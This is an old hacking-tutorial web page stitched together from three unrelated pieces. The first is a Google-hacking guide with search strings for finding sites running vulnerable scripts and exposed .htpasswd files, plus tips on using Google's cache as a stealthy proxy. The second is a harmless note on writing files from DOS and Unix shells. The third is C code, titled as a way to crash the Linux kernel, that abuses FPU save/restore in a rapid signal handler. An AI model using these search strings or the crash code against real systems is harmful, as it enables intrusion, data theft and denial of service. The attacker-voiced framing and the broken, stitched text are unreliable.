Google as a hacking tool
Writing into the file with out text editor
Crash the Linux kernal with simple C code
WEB VULNERABILITIES
A system is vulnerable when an attacker is able to make it do something it's not supposed to.
There are generally two types of vulnerabilities to be found on the web: software vulnerabilities
and user misconfigurations.
Although there are some sophisticated attackers who target a specific system and try to discover
vulnerabilities which will allow them access, the vast majority of attackers start out with a specific
software vulnerability or common user misconfiguration which they already know how to exploit,
and simply try to find - or scan for - systems which have this vulnerability.
Google is of limited use to the first attacker, but invaluable to the second,
as will be explained in the next section.
SCANNERS
When an attacker knows the sort of vulnerability they want to exploit but have no specific target,
they employ a scanner. This is a program which automates the process of examining a massive quantity of
systems for a security flaw. The earliest computer related scanner, for example, was a wardialer;
a program which would dial long lists of phone numbers and record which ones responded with a modem handshake.
Today there are scanners which automatically query IP addresses to see what ports they have open,
determine what operating system they're probably running, some even determine the geographic location of
the system. One of the most popular IP scanners is NMap ( http://www.insecure.org ). When using NMap,
one specifies a range of hosts and the specific services on each one to scan for.
The program will then return a list of the available (and presumably vulnerable) systems.
GOOGLE AS A SCANNER
With a little creativity, Google can be made to operate in a similar way as NMap,
though they use different protocols. As an example, let's pretend that we know a great new exploit
that will allow us to steal credit card information from any online store that uses the SHOP.PL scripts.
We know that www.secure.com uses SHOP.PL, but when we try our exploit it turns out that they already
patched the vulnerability. As dedicated malicious hackers, though, we don't give up.
We turn to Google and enter the following search string:
inurl:shop.pl
Feel free to try this - it's not illegal and shouldn't get you in to trouble.
Note that the above search employs advanced operators, which are described here:
( http://www.google.com/help/operators.html ). What is produced is a list of all
sites which have "shop.pl" somewhere in their URL, essentially a list of potentially vulnerable targets.
Just as with NMap, all that's left to do is try our exploit against each site on the list.
There are countless variations on this scheme, including some rather clever ways to find
particular versions of server programs. For example, if one was to enter:
"seeing this instead" intitle:"test page for apache"
It would return a list of sites using Apache 1.3.11 - 1.3.26, because those specific phrases are
used on the default page for those versions. Once again, if an attacker had an exploit for
Apache 1.3.11 - 1.3.26, it would take very little effort to compromise a large number of systems.
GOOGLE AS AN EXPLOITER
It seems ridiculous, but sometimes administrators misconfigure their sites so badly,
it's not even neccessary to use a "third party" exploit in order to gain access to a system.
Google indexes the web very aggressively, and unless a file is put behind in a password or
otherwise access-restricted area of your website, there is a good chance that it will be
searchable in Google. This includes password files, credit reports, medical records, etc.
In cases where the files are not adequately protected from Google, the search engine has
basically already performed the exploit for the attacker. If, for example, a script kiddie wanted
to deface a random web site, he or she would simply search for:
intitle:"Index of" htpasswd
Which would return a list of all poor users who allowed Google to index their .htpasswd file,
probably containing the administrative username and password for their web page. All the attacker would
need to do is open the file, crack the password, and deface away.
GOOGLE AS A PROXY
A proxy is an intermediary system which an attacker can use to disguise his or her identity.
For example, if I was to gain remote access to Bill Gates' computer and cause it to run attacks on cia.gov,
it would appear to the Feds that Bill Gates was hacking them. His computer would be acting as a proxy.
Google can be used in a similar way, as is explained here.Even if Google didn't provide such an easy
way to locate vulnerabilities, there are other tools which can do that particular job.
A program called AccessDiver ( http://www.accessdiver.com/ ) allows the user to specify a domain name,
and it tries to access URLs which commonly lead to sensitive data or system access. This tool was,
however, intended for use by administrators on their own networks. If anyone tried to use this tool
against cia.gov, the system would deny them access, log their IP, and send them to jail for attempted computer trespass.
When using Google, there is very little danger of detection, because the attackers computer doesn't
have to access every site itself and ask suspicious questions like "Do you have a page containing .htpasswd?"
The search engine has already gathered this information and will give it freely without a peep to the
vulnerable site. Things get even more interesting when you consider the Google cache function.
If you have never used this feature, try this:
Do a Google search for "USA Today". Click on the first result and read a few of the headlines.
Now click back to return to your search. This time, click the "Cached" link to the right of the URL
of the page you just visited. Notice anything weird? You're probably looking at the headlines from yesterday or
the day before. Why, you ask? It's because whenever Google indexes a page, it saves a copy of the entire thing
to its server. You are accessing the most recent copy Google made of www.usatoday.com.
This can be used for a lot more than reading old newspapers. Our attacker can now use Google to scan
for sensitive files without alerting potential targets, and even when a target is found the attacker can
access it's files from the Google cache without ever making contact with the target's server.
The only server with any logs of the attack would be Google's, and it's unlikely they will realize an
attack has taken place.
An even more elaborate trick involves crafting a special URL that would not normally be indexed by Google,
perhaps one involving a buffer overflow or SQL injection (common web exploits). This URL is then submitted to
Google as a new web page at ( http://www.google.com/addurl.html ). Google automatically accesses it, stores the
resulting data in it's searchable cache, and the rest is history.
SECURING AGAINST GOOGLE EXPLOITS
This probably doesn't even have to be mentioned at this point, but make sure you are comfortable with
sharing everything in your public web folder with the whole world, because Google will share it,
whether you like it or not.
Also, in order to prevent attackers from easily figuring out what server software you are running,
change the default error messages and other identifiers. Often, when a "404 Not Found" error is detected,
servers will return a page like this:
quote:
Not Found
The requested URL /cgi-bin/xxxxxx was not found on this server.
Apache/1.3.27 Server at www.countrybookshop.co.uk Port 80
The only information that the legimitate user really needs is on the top line, and restricting the other
information will prevent your page from turning up in an attacker's search for a specific flavour of server.
The Google cache issue raises another interesting security concern: just because you take a document
off your site doesn't mean it's inaccessible. Google periodically purges it's cache, but until then your sensitive
files are still being happily offered to the public. If you realize that the search engine has cached files
which you want to be unavailable, go to ( http://www.google.com/remove.html ) and follow the instructions
to remove your page, or parts of your page, from their database.
There is not really anything that an administrator can do to prevent the use of Google as a proxy,
so the best thing to do is ensure that your system is not vulnerable to any HTTP attacks that could be
conducted through Google. A good HTTP vulnerability scanning tool is N-Stealth ( http://www.nstalker.com/nstealth/)
. Run this against your network, and it will hopefully point out any holes that you need to patch up.
OTHER RESOURCES
There are many, many variations on the Google hacking techniques described here. An excellent place to find
out more about these exploits is ( http://johnny.ihackstuff.com/ ). ( http://www.oxygen-inc.com/google.html ) Also
contains a pretty good tutorial specifically focusing on how to find sensitive information using Google.
MENU | HOME
DOS
1st way: copy con filename
Explanation: With this method we write to the 'filename' by telling the DOS command interpreter to copy the
contents of the 'con' file to the 'filename'. But then what is 'con'? Well it must be a file right? Right! But it
is not just any file. It is a special device file which is named 'con' as an abbreviation of the word 'console'
which is the keyboard! So what we actually do is, copying the contents of the keyboard to the 'filename'. It is like
saying : Hey mr. DOS, i want you to copy everything I type in the keyboard to the 'filename'. To terminate to process
just press CTRL-Z. But then, what is a device file? Well remember those /dev/xxx files in a *NIX machine? Those are
special files assinged to physical devices. The same goes for the 'con' file. Well, DOS and Windows machines have
not only the con device file. There are others too. Some examples are : 'nul' and 'aux'; 'nul' stands for null
( it's equivalent is /dev/null in a *NIX box ), the famous 'black hole' ;), while 'aux' stands for auxiliary.
In case you wonder how did i find out about the 'aux' and 'nul', the answer is by reading an old CP/M manual ;)
and since DOS has some relations with CP/M i thought they may just exist in DOS too. If you start playing around with
those 3 files you will notice some very interesting attributes. You cannot name a file or a directory as 'aux', 'con'
or 'nul'. Also you cannot delete those files or rename them. I don't recommend you to try to copy con to aux or
vice versa since you will notice some strange behaviour ;). One negative aspect of this method is that if you want to
write to the same file after a while and you want the previous contents to be kept, you cannot the previous contents
will be deleted.
2nd way: echo blah blah > filename
Explanation: Well, everybody knows what the 'echo paramaters' command does. It will print to your standard
output which by the way is your screen the 'parameters'. OK, but what if we use the redirection symbol '>' ? This way
we will redirect the paramaters to be printed not anymore to your screen but to the file after the redirection symbol.
Try something like this : 'echo blah blah2 > file.txt'. Then open with edit or with notepad the file.txt. You will
notice that it is not empty. It has a line containing 'blah blah2'. There is one problem : you cannot use ENTER
( or any of it's equals : alt-12 or CTRL-M ) to write multiple lines. Only one line at a time using the >> symbol.
If you use single redirection the previous contents will be lost. On the other hand, if you use double redirection,
the second line will be written after the last line in the file. Example: Suppose that file file1.txt does not exist.
Enter the following commands at a DOS prompt :
C:\>echo line 1 > file1.txt
C:\>echo line 2 > file1.txt
C:\>echo line 3 > file1.txt
Open now file1.txt with any text editor or just do 'type file1.txt'. You will see that the only line in the
file is :
line 3
Now do this at a DOS prompt:
C:\>echo line 1 > file1.txt
C:\>echo line 2 >> file1.txt
C:\>echo line 3 >> file1.txt
Do the same as above. The contents of file1.txt are :
line 1
line 2
line 3
Everything should be clear by now!
3d way: type con > filename
Explanation: I am sure you know what the 'type file' command does. It prints to the screen the contents of
the 'file' given as a parameter. What we do here is obvious. We tell the command interpreter to print the contents of
the keyboard to the filename. Wonder what just 'type con' does? Do it! You will notice that every line you type is
repeated after you press enter. Why? Because it prints in the screen the everything you type in the keyboard. So we
redirect the repetiton to the 'filename'. Press CTRL-C to end the process. Well this 3d way is the best way since we
can both write as many lines as we wish and on the other hand we can use the >> to later write at the end of the same
file without deleteing the previous contents.
- *NIX
Explanation: Same as DOS 1st way.
2nd way: echo blah blah > filename
Explanation: Same as DOS 2nd way. There is something else here which help us a lot. If you use the 'echo' command
with the -e switch you can write multiple lines like this : 'echo line 1\\n line 2\\n line 3\\n > filename'.
The -e parameter tells the 'echo' program to interpret escape characters, \\n being the newline character.
3d way: cat /dev/console > filename
Explanation: Same as DOS 3d way. Works only as root due to restricted permissions of the /dev/console special file!
4th way: cat > file
Explanation: If you just 'cat' or 'cat -' you will get the same result as 'type con' which means you will copy the
standard input to the standard output. So we just redirect the standard input to a file with 'cat > file' .
Well, these are the ways I have found as of right now. It does not mean that there are not any other ways.
If you find any other method just shoot it :).
MENU | HOME
#include
#include
#include
static void Handler(int ignore)
{
char fpubuf[108]; __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
write(2, "*", 1); __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}
int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, Handler);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1) write(1, ".", 1);
return 0;
}
MENU | HOME
|